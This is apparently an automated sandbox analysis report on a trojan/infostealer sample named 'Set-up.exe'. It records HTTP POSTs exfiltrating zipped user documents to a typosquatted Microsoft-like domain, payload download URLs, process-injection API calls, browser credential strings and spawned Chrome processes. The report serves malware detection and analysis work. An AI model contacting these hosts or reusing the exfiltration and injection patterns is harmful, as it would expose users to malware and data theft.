00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: POST /Up/g HTTP/1.1Host: mcrsftuptade.proConnection: closeContent-Length: 14506Content-Type: application/octet-streamData Raw: 50 4b 03 04 14 00 00 00 00 00 5c 64 21 52 95 6c 05 f3 30 00 00 00 30 00 00 00 28 00 00 00 66 31 35 37 35 62 36 34 2d 38 34 39 32 2d 34 65 38 62 2d 62 31 30 32 2d 34 64 32 36 65 38 63 37 30 33 37 31 2e 74 78 74 31 37 34 36 38 35 37 31 33 32 39 32 39 65 31 34 36 62 65 39 2d 63 37 36 61 2d 34 37 32 30 2d 62 63 64 62 2d 35 33 30 31 31 62 38 37 62 64 30 36 50 4b 03 04 14 00 00 00 00 00 5c 64 21 52 95 fa 9e d0 02 04 00 00 02 04 00 00 32 00 00 00 67 2f 55 73 65 72 73 2f 6a 6f 6e 65 73 2f 44 6f 63 75 6d 65 6e 74 73 2f 41 46 57 41 41 46 52 58 4b 4f 2f 41 46 57 41 41 46 52 58 4b 4f 2e 64 6f 63 78 41 46 57 41 41 46 52 58 4b 4f 49 4d 59 55 54 45 42 4b 4c 43 46 59 55 53 4d 50 4b 42 4c 4c 56 4c 59 43 5a 53 42 59 51 41 52 52 42 49 44 4e 4d 59 4c 50 4c 47 41 49 4a 59 42 50 58 5a 52 52 43 44 4b 57 55 4a 43 5a 46 4e 5a 59 57 4a 4c 4a 57 43 50 50 4e 57 4e 42 55 4e 55 4b 57 4b 41 4e 41 46 4a 54 47 53 4d 4e 44 4e 41 49 50 57 59 43 43 55 47 5a 54 57 43 58 49 44 55 48 4c 4b 44 49 49 46 58 56 5a 5a 43 42 4b 54 4b 5a 58 4b 59 42 46 51 48 4c 48 41 5a 53 50 41 59 4e 56 51 56 43 4e 47 50 54 5a 4c 46 41 46 58 41 55 47 49 53 49 53 41 49 49 54 54 45 55 50 4e 58 4c 57 42 50 41 55 53 43 57 4f 58 48 52 55 43 48 4b 45 4e 48 49 55 48 51 43 53 45 54 43 52 49 4e 42 42 4a 43 55 4a 43 59 49 4f 59 5a 55 50 42 4a 58 4a 42 4c 4d 53 54 43 4d 58 48 4d 4f 4f 59 48 4b 53 51 47 54 47 55 4e 4c 45 44 50 4d 43 46 44 4b 57 44 47 4f 53 4d 57 59 51 4e 58 44 43 41 4f 50 41 47 5a 4c 50 4b 58 51 5a 41 4f 48 53 4a 58 59 4c 4a 55 43 5a 47 41 58 4f 4a 4f 45 50 43 57 42 48 47 47 4b 53 41 50 4c 52 43 4a 52 44 4b 43 49 57 47 41 54 5a 5a 4c 53 41 4f 58 46 50 46 49 45 4e 48 46 5a 43 43 45 5a 43 47 47 59 41 4a 45 45 50 4a 46 4a 4c 51 49 4d 50 59 55 55 45 54 4a 4a 46 4f 47 47 4b 4b 4a 4b 46 41 48 50 52 4d 43 55 4a 4e 44 47 54 58 4d 4c 41 41 51 44 47 45 51 4d 44 55 4c 57 44 50 43 41 55 58 5a 54 59 59 47 4b 41 46 46 51 51 48 49 4b 51 48 45 41 54 55 4a 5a 45 43 4d 50 54 45 42 54 52 48 43 46 47 49 5a 57 43 59 47 49 47 48 49 50 56 57 46 54 50 50 58 53 4e 55 54 59 48 51 43 4c 47 4a 4c 55 59 48 48 56 4d 47 46 4f 4d 48 4a 44 4e 52 47 44 5a 46 48 52 47 59 51 4f 52 54 41 4a 57 4c 47 4f 45 4c 59 4b 43 50 49 41 4e 51 47 43 41 58 49 5a 4f 4d 4a 5a 4f 45 43 5a 47 41 48 46 57 4e 55 41 4b 4b 54 48 4c 41 41 4e 52 42 55 53 4f 5a 5a 4c 4e 57 55 59 4d 58 44 4f 57 50 59 55 46 59 42 4f 5a 5a 5a 42 42 4a 4b 50 4e 4d 46 47 55 43 42 4f 55 57 54 58 58 57 53 4e 4f 42 48 4b 43 50 4c 47 49 57 53 57 48 48 4e 43 4b 4c 4c 4c 50 50 42 50 52 4a 54 4b 47 52 57 4d 49 5a 4a 59 4c 57 4d 44 56 57 47 4a 4f 54 55 51 4c 59 56 55 47 55 4a 51 57 4e 5a 4b 45 55 5a 51 43 51 48 4b 54 43 4d 47 58 42 5a 44 57 45 45 46 57 59 51 48 53 59 45 4d 57 46 46 56 4a 55 44 4f 46 45 58 45 4c 4a 47 55 55 4e 58 50 42 4a 43 49 51 42 4b 43 4d 44 47 44 52 4e 54 58 59 41 58 46 44 53 4c 50 41 47 58 42 54 47 42 49 56 46 58 41 48 4e 58 53 46 49 5
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View IP Address: 188.114.96.3 188.114.96.3
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: unknown TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: global traffic HTTP traffic detected: GET /ujs/f1575b64-8492-4e8b-b102-4d26e8c70371 HTTP/1.1Host: mcrsftuptade.proConnection: close
Source: unknown HTTP traffic detected: POST /Up HTTP/1.1Host: mcrsftuptade.proConnection: closeContent-Length: 289Content-Type: application/octet-streamData Raw: 50 4b 03 04 14 00 00 00 00 00 5c 64 21 52 4e 27 f4 29 6f 00 00 00 6f 00 00 00 28 00 00 00 66 31 35 37 35 62 36 34 2d 38 34 39 32 2d 34 65 38 62 2d 62 31 30 32 2d 34 64 32 36 65 38 63 37 30 33 37 31 2e 74 78 74 7b 22 6c 22 3a 22 31 37 34 36 38 35 37 31 33 32 39 32 39 65 31 34 36 62 65 39 2d 63 37 36 61 2d 34 37 32 30 2d 62 63 64 62 2d 35 33 30 31 31 62 38 37 62 64 30 36 22 2c 22 62 74 22 3a 22 47 41 53 22 2c 22 68 69 22 3a 22 39 65 31 34 36 62 65 39 2d 63 37 36 61 2d 34 37 32 30 2d 62 63 64 62 2d 35 33 30 31 31 62 38 37 62 64 30 36 22 7d 50 4b 01 02 14 00 14 00 00 00 00 00 5c 64 21 52 4e 27 f4 29 6f 00 00 00 6f 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 66 31 35 37 35 62 36 34 2d 38 34 39 32 2d 34 65 38 62 2d 62 31 30 32 2d 34 64 32 36 65 38 63 37 30 33 37 31 2e 74 78 74 50 4b 05 06 00 00 00 00 01 00 01 00 56 00 00 00 b5 00 00 00 00 00 Data Ascii: PK\d!RN')oo(f1575b64-8492-4e8b-b102-4d26e8c70371.txt{"l":"1746857132929e146be9-c76a-4720-bcdb-53011b87bd06","bt":"GAS","hi":"9e146be9-c76a-4720-bcdb-53011b87bd06"}PK\d!RN')oo(f1575b64-8492-4e8b-b102-4d26e8c70371.txtPKV
Source: Set-up.exe, 00000000.00000003.1420210045.0000000010385000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000002.1553562675.000000001016D000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1440653499.00000000102F5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: Set-up.exe, 00000000.00000003.1420210045.0000000010385000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000002.1553562675.000000001016D000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1440653499.00000000102F5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: Set-up.exe, 00000000.00000003.1420210045.0000000010385000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000002.1553562675.000000001016D000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1440653499.00000000102F5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: Set-up.exe, 00000000.00000003.1420210045.0000000010385000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000002.1553562675.000000001016D000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1440653499.00000000102F5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: Set-up.exe, 00000000.00000003.1420210045.0000000010385000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000002.1553562675.000000001016D000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1440653499.00000000102F5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: Set-up.exe, 00000000.00000003.1420210045.0000000010385000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000002.1553562675.000000001016D000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1440653499.00000000102F5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: Set-up.exe, 00000000.00000003.1420210045.0000000010385000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000002.1553562675.000000001016D000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1440653499.00000000102F5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: Set-up.exe, 00000000.00000002.1544669791.0000000004100000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://h1.coldwalk.top/amshm.bin
Source: Set-up.exe, 00000000.00000002.1544669791.0000000004100000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://h1.coldwalk.top/sh.ext.exe.bin
Source: Set-up.exe, 00000000.00000002.1544669791.0000000004100000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://h1.coldwalk.top/shark.bin
Source: Set-up.exe, 00000000.00000003.1420210045.0000000010385000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000002.1553562675.000000001016D000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1440653499.00000000102F5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.com0
Source: Set-up.exe, 00000000.00000003.1420210045.0000000010385000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000002.1553562675.000000001016D000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1440653499.00000000102F5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: Set-up.exe String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: Amcache.hve.12.dr String found in binary or memory: http://upx.sf.net
Source: Set-up.exe String found in binary or memory: http://www.adremsoft.com/autoupdate/wmi.tools.json
Source: Set-up.exe String found in binary or memory: http://www.adremsoft.com/autoupdate/wmi.tools.jsonSVWU
Source: Set-up.exe String found in binary or memory: http://www.indyproject.org/
Source: Set-up.exe, 00000000.00000000.1241274498.0000000001A31000.00000002.00000001.01000000.00000003.sdmp String found in binary or memory: http://www.mygale.org/~cresto/
Source: Set-up.exe, 00000000.00000000.1241274498.0000000001A31000.00000002.00000001.01000000.00000003.sdmp String found in binary or memory: http://www.netcrunch.tools/wmitool/
Source: Set-up.exe, 00000000.00000003.1420210045.0000000010385000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000002.1553562675.000000001016D000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1440653499.00000000102F5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://x1.c.lencr.org/0
Source: Set-up.exe, 00000000.00000003.1420210045.0000000010385000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000002.1553562675.000000001016D000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1440653499.00000000102F5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://x1.i.lencr.org/0
Source: chrome.exe, 00000014.00000002.1502764149.000001AD16C2C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ac.ecosia.org?q=
Source: chrome.exe, 00000014.00000002.1502764149.000001AD16C2C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: Set-up.exe, 00000000.00000003.1513427342.00000000101B8000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1505147370.00000000102A8000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1513181542.0000000010278000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000002.1502764149.000001AD16C2C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Set-up.exe, 00000000.00000003.1513427342.00000000101B8000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1505147370.00000000102A8000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1513181542.0000000010278000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000002.1502764149.000001AD16C2C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chrome.exe, 00000014.00000002.1502764149.000001AD16C2C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Set-up.exe, 00000000.00000003.1513427342.00000000101B8000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1505147370.00000000102A8000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1513181542.0000000010278000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000002.1502764149.000001AD16C2C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/chrome_newtabv20
Source: chrome.exe, 00000014.00000002.1502764149.000001AD16C2C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chrome.exe, 00000014.00000002.1502764149.000001AD16C2C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gemini.google.com/app?q=
Source: Set-up.exe, 00000000.00000003.1513427342.00000000101B8000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1505147370.00000000102A8000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1513181542.0000000010278000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000002.1502764149.000001AD16C2C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/newtab/v20
Source: Set-up.exe, 00000000.00000003.1513427342.00000000101B8000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1505147370.00000000102A8000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1513181542.0000000010278000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000002.1502764149.000001AD16C2C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_alldp.ico
Contains functionality to call native functions
Source: C:\Users\user\Desktop\Set-up.exe Code function: 0_2_01FD1EBC NtProtectVirtualMemory, 0_2_01FD1EBC
Source: C:\Users\user\Desktop\Set-up.exe Code function: 0_2_01FD1E7E NtFreeVirtualMemory, 0_2_01FD1E7E
Source: C:\Users\user\Desktop\Set-up.exe Code function: 0_2_01FD1E2B NtAllocateVirtualMemory, 0_2_01FD1E2B
Source: C:\Users\user\Desktop\Set-up.exe Code function: 0_2_01FF11E5 CreateThread,malloc,NtClose,free, 0_2_01FF11E5
Source: C:\Users\user\Desktop\Set-up.exe Code function: 0_2_01FF0B72 NtGetContextThread,NtSetContextThread,NtResumeThread, 0_2_01FF0B72
Source: C:\Users\user\Desktop\Set-up.exe Code function: 0_2_01FF0CD8 NtAllocateVirtualMemory, 0_2_01FF0CD8
Source: C:\Users\user\Desktop\Set-up.exe Code function: 0_2_01FF066E NtProtectVirtualMemory, 0_2_01FF066E
Source: C:\Users\user\Desktop\Set-up.exe Code function: 0_2_01FF19C5 free,NtClose,free, 0_2_01FF19C5
Source: C:\Users\user\Desktop\Set-up.exe Code function: 0_2_01FF114C NtClose, 0_2_01FF114C
Source: C:\Users\user\Desktop\Set-up.exe Code function: 0_2_01FF10E8 NtClose, 0_2_01FF10E8
Source: C:\Users\user\Desktop\Set-up.exe Code function: 0_2_01FF1084 NtClose, 0_2_01FF1084
Source: C:\Users\user\Desktop\Set-up.exe Code function: 0_2_03F884E0 NtWow64QueryInformationProcess64,NtWow64ReadVirtualMemory64,NtWow64ReadVirtualMemory64,NtWow64ReadVirtualMemory64,NtWow64ReadVirtualMemory64, 0_2_03F884E0
Source: C:\Users\user\Desktop\Set-up.exe Code function: 0_2_03F886C0 NtWow64ReadVirtualMemory64,NtWow64ReadVirtualMemory64,NtWow64ReadVirtualMemory64,NtWow64ReadVirtualMemory64,NtWow64ReadVirtualMemory64,NtWow64ReadVirtualMemory64,NtWow64ReadVirtualMemory64, 0_2_03F886C0
Source: C:\Users\user\Desktop\Set-up.exe Code function: 0_2_03F88419 NtResumeThread, 0_2_03F88419
Detected potential crypto function
Source: C:\Users\user\Desktop\Set-up.exe Code function: 0_2_01FD0421 0_2_01FD0421
Source: C:\Users\user\Desktop\Set-up.exe Code function: 0_2_01FD0000 0_2_01FD0000
Source: C:\Users\user\Desktop\Set-up.exe Code function: 0_2_03F886C0 0_2_03F886C0
One or more processes crash
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 7260 -s 144
PE file contains executable resources (Code or Archives)
Source: Set-up.exe Static PE information: Resource name: RT_STRING type: DOS executable (COM, 0x8C-variant)
PE file contains more sections than normal
Source: Set-up.exe Static PE information: Number of sections : 11 > 10
Sample file is different than original file name gathered from version info
Source: Set-up.exe, 00000000.00000000.1241274498.0000000001CDB000.00000002.00000001.01000000.00000003.sdmp Binary or memory string: pdOriginalFilename vs Set-up.exe
Source: Set-up.exe, 00000000.00000000.1236851204.0000000000E4C000.00000020.00000001.01000000.00000003.sdmp Binary or memory string: pdOriginalFilename vs Set-up.exe
Source: Set-up.exe, 00000000.00000000.1236851204.0000000000E4C000.00000020.00000001.01000000.00000003.sdmp Binary or memory string: OriginalFilename vs Set-up.exe
Source: Set-up.exe, 00000000.00000000.1241274498.0000000001CFA000.00000002.00000001.01000000.00000003.sdmp Binary or memory string: OriginalFilenameNCWmiToolsF vs Set-up.exe
Source: Set-up.exe, 00000000.00000000.1241274498.0000000001A31000.00000002.00000001.01000000.00000003.sdmp Binary or memory string: pdOriginalFilename vs Set-up.exe
Source: Set-up.exe Binary or memory string: pdOriginalFilename vs Set-up.exe
Source: Set-up.exe Binary or memory string: OriginalFilename vs Set-up.exe
Uses 32bit PE files
Source: Set-up.exe Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, DEBUG_STRIPPED, BYTES_REVERSED_HI
Source: Set-up.exe Binary string: IThe supplied device path "%0:s" is invalid. Is must start with "\DEVICE\"
Source: Set-up.exe Binary string: \DEVICE\
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@15/25@0/1
Source: C:\Users\user\Desktop\Set-up.exe Code function: 0_2_01FD0B31 CreateToolhelp32Snapshot,Thread32First,Wow64SuspendThread,CloseHandle,CloseHandle, 0_2_01FD0B31
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Code function: 8_2_0000000140001130 LoadLibraryA,CoInitializeEx,allocator,Concurrency::details::_CriticalNonReentrantLock::_Scoped_lock::~_Scoped_lock,CoCreateInstance, 8_2_0000000140001130
Source: C:\Windows\System32\WerFault.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7260
Source: C:\Windows\System32\WerFault.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess3888
Source: C:\Windows\System32\WerFault.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess1692
Source: C:\Windows\System32\WerFault.exe File created: C:\ProgramData\Microsoft\Windows\WER\Temp\216e9a2c-3701-4619-8adc-8a68c3ac33d5 Jump to behavior
Source: Yara match File source: Set-up.exe, type: SAMPLE
Source: Yara match File source: 00000000.00000000.1236851204.0000000000401000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: C:\Users\user\Desktop\Set-up.exe Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: Set-up.exe, 00000000.00000000.1236851204.0000000000E4C000.00000020.00000001.01000000.00000003.sdmp Binary or memory string: SELECT RDB$FIELD_NAME,RDB$FIELD_POSITION FROM RDB$INDEX_SEGMENTS WHERE RDB$INDEX_NAME = ( SELECT RDB$INDEX_NAME FROM RDB$RELATION_CONSTRAINTS WHERE RDB$RELATION_NAME = '%s' AND RDB$CONSTRAINT_TYPE = 'PRIMARY KEY' ) ORDER BY RDB$FIELD_POSITION;SV
Source: Set-up.exe, 00000000.00000002.1544669791.00000000042E2000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1417968546.0000000003B25000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000002.1544669791.00000000042ED000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000002.1544669791.00000000042D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.1409641222.00000243933EA000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: Set-up.exe String found in binary or memory: 250-STARTTLS
Source: Set-up.exe String found in binary or memory: <html><head><META http-equiv=Content-Type content="text/html; charset=utf-8"></head><body><!--StartFragment-->
Source: Set-up.exe String found in binary or memory: n<html><head><META http-equiv=Content-Type content="text/html; charset=utf-8"></head><body><!--StartFragment-->
Source: Set-up.exe String found in binary or memory: NATS-SEFI-ADD
Source: Set-up.exe String found in binary or memory: NATS-DANO-ADD
Source: Set-up.exe String found in binary or memory: JIS_C6229-1984-b-add
Source: Set-up.exe String found in binary or memory: jp-ocr-b-add
Source: Set-up.exe String found in binary or memory: JIS_C6229-1984-hand-add
Source: Set-up.exe String found in binary or memory: jp-ocr-hand-add
Source: Set-up.exe String found in binary or memory: ISO_6937-2-add
Source: unknown Process created: C:\Users\user\Desktop\Set-up.exe "C:\Users\user\Desktop\Set-up.exe"
Source: C:\Users\user\Desktop\Set-up.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe"
Source: C:\Users\user\Desktop\Set-up.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 7260 -s 144
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 7260 -s 92
Source: C:\Users\user\Desktop\Set-up.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 3888 -s 144
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 3888 -s 92
Source: C:\Users\user\Desktop\Set-up.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 1692 -s 140
